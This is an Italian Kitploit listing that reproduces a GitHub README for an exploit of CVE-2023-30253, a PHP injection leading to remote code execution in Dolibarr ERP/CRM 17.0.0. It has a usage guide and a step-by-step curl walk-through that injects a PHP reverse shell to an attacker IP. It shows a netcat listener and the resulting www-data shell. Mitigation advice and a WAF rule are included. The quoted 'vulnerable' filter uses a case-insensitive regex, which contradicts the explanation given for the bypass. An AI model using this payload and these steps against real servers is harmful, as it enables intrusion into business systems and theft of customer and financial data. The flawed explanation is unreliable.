Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-30253-exploit — CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE tramite iniezione di codice PHP (exploit educativo) | Kitploit
Strumenti/GitHubGitHub/jeanback1/cve-2023-30253-exploit
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubjeanback1/cve-2023-30253-exploit

CVE-2023-30253-exploit

CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE tramite iniezione di codice PHP (exploit educativo)

Vedi Repository
33 mesi faNon ancora revisionato
Sito web

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 Remote Code Execution

Python 3.8+ License CVSS

Exploit di iniezione di codice PHP per Dolibarr ERP/CRM v17.0.0 che permette di ottenere una shell inversa come utente www-data tramite il modulo Website/CMS.

⚠️ Solo per uso educativo e audit autorizzati.


📑 Indice

  • Che cos'è CVE-2023-30253?
  • Come funziona la vulnerabilità?
  • Impatto
  • Cosa fa questo exploit?
  • Requisiti
  • Installazione
  • Utilizzo
  • Esempio pratico
  • L'exploit passo dopo passo
Mitigazione
  • Riferimenti

  • 🔍 Che cos'è CVE-2023-30253?

    CVE-2023-30253 è una vulnerabilità di iniezione di codice PHP (CWE-94: Improper Control of Generation of Code) in Dolibarr ERP/CRM versioni precedenti alla 17.0.1.

    È stata scoperta e segnalata dal team di Swascan (ora Hacktivesecurity) a maggio 2023. La vulnerabilità risiede nel modulo Website/CMS, che permette a utenti autenticati di creare e gestire siti web all'interno di Dolibarr.

    CampoValore
    CVECVE-2023-30253
    CVSS v3.18.8 (ALTO)
    VectorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    TipoCWE-94 — Code Injection
    Software affettoDolibarr ERP/CRM < 17.0.1
    PrivilegiUtente autenticato (qualsiasi ruolo)
    PatchDolibarr 17.0.1 — commit 4f6055c

    ⚙️ Come funziona la vulnerabilità?

    Dolibarr implementa un filtro per impedire agli utenti di iniettare codice PHP nel contenuto delle pagine del modulo Website. Tuttavia, questo filtro ha un difetto critico: è case-sensitive.

    root@kitploit:~
    // Codice vulnerabile (semplificato) in Dolibarr 17.0.0
    if (preg_match('/<\?php/i', $content)) {
        // Blocca solo "<?php" in minuscolo esatto... o no?
        die("PHP code detected!");
    }
    

    Il filtro cerca letteralmente la stringa <?php in minuscolo. Ma PHP permette qualsiasi combinazione di maiuscole e minuscole per il tag di apertura. Questo significa che:

    TagFiltrato?Eseguito da PHP?
    <?php ... ?>✅✅
    <?PHP ... ?>❌✅
    <?Php ... ?>❌✅
    <?pHp ... ?>❌✅

    L'exploit usa <?PHP (in maiuscolo) per bypassare il filtro, ma qualsiasi variazione funziona.

    Inoltre, il filtro si applica solo al momento del salvataggio del contenuto. Durante la pubblicazione della pagina, Dolibarr passa il contenuto senza ulteriore sanificazione all'interprete PHP, che esegue qualsiasi codice con il tag di apertura <?.


    💥 Impatto

    Un attaccante autenticato può:

    • Esecuzione remota di comandi (RCE) sul server
    • Accedere al database di Dolibarr (clienti, fatture, utenti)
    • Leggere file sensibili del sistema (/etc/passwd, configurazione)
    • Usare il server come punto di pivot per attacchi interni
    • Installare malware, webshell o backdoor persistenti

    Perché è critico? Dolibarr è usato come ERP/CRM aziendale. Un'intrusione può esporre dati di clienti, finanze, contratti e credenziali interne.


    🛠️ Cosa fa questo exploit?

    L'exploit automatizza l'intero processo di sfruttamento in 5 passi:

    root@kitploit:~
    ┌─────────────────────────────────────────────────────────┐
    │                   CVE-2023-30253                       │
    │                                                         │
    │  1. Login          → Autenticarsi in Dolibarr           │
    │  2. Create Website → Creare un sito web vuoto           │
    │  3. Create Page    → Creare una pagina nel sito         │
    │  4. Inject Shell   → Iniettare PHP reverse shell        │
    │  5. Trigger        → Eseguire il payload                │
    │                                                         │
    │  Risultato: 🎯 Shell inversa come www-data              │
    └─────────────────────────────────────────────────────────┘
    

    Caratteristiche:

    • ✅ Gestione automatica dei token anti-CSRF
    • ✅ Sessione persistente con cookie
    • ✅ Rilevamento automatico del pageid
    • ✅ Modalità verbose per debug
    • ✅ Output a colori (disattivabile)
    • ✅ Payload di reverse shell tramite fsockopen + proc_open

    📋 Requisiti

    • Python 3.8+
    • requests
    • beautifulsoup4

    O semplicemente:

    root@kitploit:~
    pip install -r requirements.txt
    

    📦 Installazione

    root@kitploit:~
    # Clonare il repository
    git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
    cd CVE-2023-30253-exploit
    
    # Installare le dipendenze
    pip install -r requirements.txt
    

    🚀 Utilizzo

    root@kitploit:~
    python exploit.py <target> <username> <password> <lhost> <lport> [opzioni]
    

    Argomenti posizionali:

    ArgomentoDescrizioneEsempio
    targetURL base di Dolibarrhttp://crm.board.htb
    usernameUtente Dolibarradmin
    passwordPassword Dolibarradmin
    lhostIl tuo IP (dove riceverai la shell)10.10.14.5
    lportLa tua porta (dove riceverai la shell)4444

    Opzioni:

    OpzioneDescrizione
    -v, --verboseMostra informazioni dettagliate di debug
    --no-colorDisattiva i colori nell'output
    -h, --helpMostra l'aiuto e gli esempi

    🎯 Esempio pratico

    Terminale 1 — Avviare il listener per la shell inversa

    root@kitploit:~
    nc -lvnp 4444
    

    Terminale 2 — Eseguire l'exploit

    root@kitploit:~
    python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose
    

    Output atteso

    root@kitploit:~
    ════════════════════════════════════════════════════════
     CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
    ════════════════════════════════════════════════════════
    
      Target:   http://crm.board.htb
      User:     admin
      LHOST:    10.10.14.5
      LPORT:    4444
      Site ID:  s3a1f2bc
    
    ──────────────────────────────────────────────────
    
    [10:45:12] Passo 1/5: Avvio della sessione...
    [10:45:12]   ✓ Sessione avviata correttamente
    
    [10:45:13] Passo 2/5: Creazione del sito web...
    [10:45:13]   ✓ Sito web 's3a1f2bc' creato
    
    [10:45:13] Passo 3/5: Creazione della pagina nel sito...
    [10:45:13]   ✓ Pagina creata all'interno del sito
    
    [10:45:14] Passo 4/5: Iniezione della reverse shell → 10.10.14.5:4444...
    [10:45:14]   ✓ Codice PHP iniettato con successo
    
    [10:45:14] Passo 5/5: Esecuzione del payload (trigger)...
    
    ════════════════════════════════════════════════════════
      SFRUTTAMENTO COMPLETATO
    ════════════════════════════════════════════════════════
    
      Trigger URL:
      http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc
    
      Istruzioni:
      1. In un altro terminale, avvia il tuo listener:
         nc -lvnp 4444
      2. Accedi alla Trigger URL (l'exploit lo ha già fatto)
      3. Riceverai una shell inversa come www-data
    

    Terminale 1 — Shell ottenuta 🎯

    root@kitploit:~
    Listening on 0.0.0.0 4444
    Connection received on 10.129.231.37 52846
    $ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

    🔬 L'exploit passo dopo passo

    Se preferisci capire il processo manualmente (senza lo script), ecco il flusso completo:

    1. Autenticarsi

    root@kitploit:~
    # Ottenere cookie e token CSRF
    curl -c cookies.txt http://crm.board.htb/ > /dev/null
    
    # Estrarre il token
    TOKEN=$(curl -s -b cookies.txt http://crm.board.htb/ \
      | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
    
    # Login
    curl -b cookies.txt -c cookies.txt \
      -X POST "http://crm.board.htb/index.php?mainmenu=home" \
      -d "token=$TOKEN&actionlogin=login&loginfunction=loginfunction&username=admin&password=admin"
    

    2. Creare un sito web

    root@kitploit:~
    TOKEN=$(curl -s -b cookies.txt \
      "http://crm.board.htb/website/index.php?action=createsite" \
      | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
    
    curl -b cookies.txt -X POST \
      "http://crm.board.htb/website/index.php" \
      -d "token=$TOKEN&action=addsite&WEBSITE_REF=misitio&WEBSITE_TITLE=misitio&addcontainer=Create"
    

    ⚠️ Lezione appresa: Il parametro action corretto è addsite, non add come appare in alcuni exploit pubblici.

    3. Creare una pagina

    root@kitploit:~
    TOKEN=$(curl -s -b cookies.txt \
      "http://crm.board.htb/website/index.php?website=misitio" \
      | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
    
    curl -b cookies.txt -X POST \
      "http://crm.board.htb/website/index.php" \
      -d "token=$TOKEN&action=addcontainer&website=misitio&WEBSITE_TYPE_CONTAINER=page&WEBSITE_TITLE=TEST&addcontainer=Create"
    

    4. Iniettare codice PHP

    root@kitploit:~
    TOKEN=$(curl -s -b cookies.txt \
      "http://crm.board.htb/website/index.php?website=misitio&pageid=1&action=editsource" \
      | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
    
    PHP='<?PHP $s=fsockopen("10.10.14.5",4444);proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);?>'
    
    curl -b cookies.txt -X POST \
      "http://crm.board.htb/website/index.php" \
      --data-urlencode "token=$TOKEN" \
      --data-urlencode "action=updatesource" \
      --data-urlencode "website=misitio" \
      --data-urlencode "PAGE_CONTENT=$PHP"
    

    🔑 Chiave dell'attacco: Il campo corretto è PAGE_CONTENT, non WEBSITE_CONTENT. Molti PoC pubblici hanno questo errore.

    5. Eseguire il payload

    root@kitploit:~
    curl "http://crm.board.htb/public/website/index.php?website=misitio&pageref=misitio"
    

    🛡️ Mitigazione

    Per proteggere un server Dolibarr da questa vulnerabilità:

    Aggiornare (raccomandato)

    root@kitploit:~
    # Aggiornare a Dolibarr 17.0.1 o superiore
    # La patch corregge il filtro per rilevare qualsiasi variante di <?php
    

    Disabilitare il modulo Website

    Se non usi il modulo Website/CMS, disattivalo da:

    root@kitploit:~
    Home → Setup → Modules → Website → Disattiva
    

    Regole WAF (mod_security)

    root@kitploit:~
    # Bloccare qualsiasi variante di tag PHP nel campo PAGE_CONTENT
    SecRule ARGS:PAGE_CONTENT "@rx <\?php|< \?php|<\?PHP|<\?[pP][hH][pP]" \
      "id:1001,phase:2,deny,status:403,msg:'CVE-2023-30253 PHP Injection bloccata'"
    

    Principio del minimo privilegio

    • Non usare account amministratore per utenti quotidiani
    • Limitare chi può accedere al modulo Website

    📚 Riferimenti

    • NVD — CVE-2023-30253
    • Swascan Advisory — Dolibarr 17.0.0 Analysis
    • Dolibarr GitHub — Commit della patch
    • CWE-94: Code Injection
    • Hacktivesecurity — Report originale

    📝 Disclaimer

    Questo progetto è creato con fini educativi e di ricerca in sicurezza informatica. L'uso di questo exploit su sistemi senza esplicita autorizzazione è illegale ed eticamente riprovevole.

    Come professionista di cybersecurity, credo fermamente in:

    • La divulgazione responsabile delle vulnerabilità
    • L'hacking etico con autorizzazione
    • Condividere la conoscenza per migliorare la sicurezza collettiva

    Creato da Jean Carlos
    Studente di Cybersecurity | Pentesting | CTF Player
    CVE-2021-3560 • CVE-2023-27163 • CVE-2024-46986 • CVE-2025-2304

    Scarica lo strumento